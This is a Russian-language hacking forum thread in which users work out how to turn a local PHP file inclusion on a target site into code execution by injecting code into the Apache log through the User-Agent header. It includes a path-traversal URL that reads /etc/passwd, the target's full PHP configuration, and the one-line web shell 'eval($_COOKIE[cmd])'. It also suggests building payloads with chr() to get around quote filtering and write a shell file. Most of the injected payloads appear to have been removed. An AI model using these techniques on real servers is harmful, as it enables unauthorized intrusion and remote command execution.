PDA

Просмотр полной версии : Выполнение кода при php-инъекции


Euler
08.03.2013, 18:42
Доброго времени суток. Дело обстоит так, на сайте обнаружена локальная php-инъекция("http://test4.remotehost/index.php?file=../../../../../../../../etc/passwd%00" выдаёт содержимое "/etc/passwd"). Далее был найден файл конфигурации apache("/usr/local/apache2/conf/httpd.conf"), там был подсмотрен лог-файл, в который записываются все запросы("Referer" и "User-Agent"). Далее я попытался внедрять команды в этот лог файл, но результат меня удивил . Запросы передавал через User-agent:


User-Agent: -> приводит к ошибке
User-Agent: -> приводит к ошибке
User-Agent: -> выводит содержимое /etc/passwd
User-Agent: -> выводит запрошенную информацию
User-Agent: -> приводит к ошибке
User-Agent: -> ничего не выводится, файл не создаётся
User-Agent: -> никак не реагирует на запросы независимо от заголовка "Cookie: cmd=..."

"приводит к ошибке" означает, что лог становится недоступен для чтения через инъекцию. Объясните пожалуйста по какому принципу тут выполняется внедрённый код.

Unknown
08.03.2013, 20:17
Просто стоят ограничения на вывод

BigBear
08.03.2013, 20:17
Попробуй вместо использовать

Euler
08.03.2013, 20:31
Просто стоят ограничения на вывод


Это как? значение "" при выводе эквивалентно простому "test", но только первое приводит к ошибке. Плюс создание файла не работает, тут вывод вообще никаким боком не приписать.


Попробуй вместо использовать


Пробовал, тоже самое.

VY_CMa
08.03.2013, 20:58
Попробуйте

HAXTA4OK
09.03.2013, 12:42
User-Agent: -> выводит запрошенную информацию

disable_functions

скинь эту строку

Mr.Snuffer
09.03.2013, 14:01
Попробуй

Скорее всего все беды из-за ковычек

хотя стоп, include тоже работает

Euler
09.03.2013, 14:35
disable_functions
скинь эту строку


весь раздел PHP Core(Master Value везде равено Local Value):


Directive Local Value
allow_call_time_pass_reference On
allow_url_fopen On
allow_url_include Off
always_populate_raw_post_data Off
arg_separator.input &
arg_separator.output &
asp_tags Off
auto_append_file no value
auto_globals_jit On
auto_prepend_file no value
browscap no value
default_charset no value
default_mimetype text/html
define_syslog_variables Off
disable_classes no value
disable_functions no value
display_errors On
display_startup_errors Off
doc_root no value
docref_ext no value
docref_root no value
enable_dl On
error_append_string no value
error_log no value
error_prepend_string no value
error_reporting 0
expose_php On
extension_dir /opt/php/5.2/lib/php/extensions/no-debug-non-zts-20060613
file_uploads On
highlight.bg #FFFFFF
highlight.comment #FF8000
highlight.default #0000BB
highlight.html #000000
highlight.keyword #007700
highlight.string #DD0000
html_errors On
ignore_repeated_errors Off
ignore_repeated_source Off
ignore_user_abort Off
implicit_flush Off
include_path .:
log_errors Off
log_errors_max_len 1024
magic_quotes_gpc Off
magic_quotes_runtime Off
magic_quotes_sybase Off
mail.force_extra_parameters no value
max_execution_time 30
max_file_uploads 20
max_input_nesting_level 64
max_input_time -1
memory_limit 128M
open_basedir no value
output_buffering 0
output_handler no value
post_max_size 32M
precision 14
realpath_cache_size 8M
realpath_cache_ttl 120
register_argc_argv On
register_globals Off
register_long_arrays On
report_memleaks On
report_zend_debug On
safe_mode Off
safe_mode_exec_dir /usr/local/php/bin
safe_mode_gid Off
safe_mode_include_dir no value
sendmail_from no value
sendmail_path /usr/sbin/sendmail -t -i
serialize_precision 100
short_open_tag On
SMTP localhost
smtp_port 25
sql.safe_mode Off
track_errors Off
unserialize_callback_func no value
upload_max_filesize 32M
upload_tmp_dir no value
user_dir no value
variables_order EGPCS
xmlrpc_error_number 0
xmlrpc_errors Off
y2k_compliance On
zend.ze1_compatibility_mode Off

Euler
09.03.2013, 18:48
Попробуй
Скорее всего все беды из-за ковычек


Хм.. Так всё работает, даже без base64...

GTAlex
26.10.2016, 13:01
Дело было в кавычках! 100%

У меня сейчас похожая проблема, за исключением того, что я GET передать не могу

Мне без кавычек нужно исполняемый код без кавычек (желательно формирование файла шелла) - чешу репу ...

t0ma5
26.10.2016, 13:26
↑ (https://antichat.live/posts/4005968/)
Дело было в кавычках! 100%
У меня сейчас похожая проблема, за исключением того, что я GET передать не могу
Мне без кавычек нужно исполняемый код без кавычек (желательно формирование файла шелла) - чешу репу ...


eval($_COOKIE[cmd]) чем не шелл

GTAlex
26.10.2016, 13:42
Решил проблему с помощью chr()

Подробнее тут (https://antichat.live/threads/389130/)

t0ma5
26.10.2016, 14:36
↑ (https://antichat.live/posts/4005989/)
Решил проблему с помощью chr()
Подробнее
тут (https://antichat.live/threads/389130/)


да можно и через chr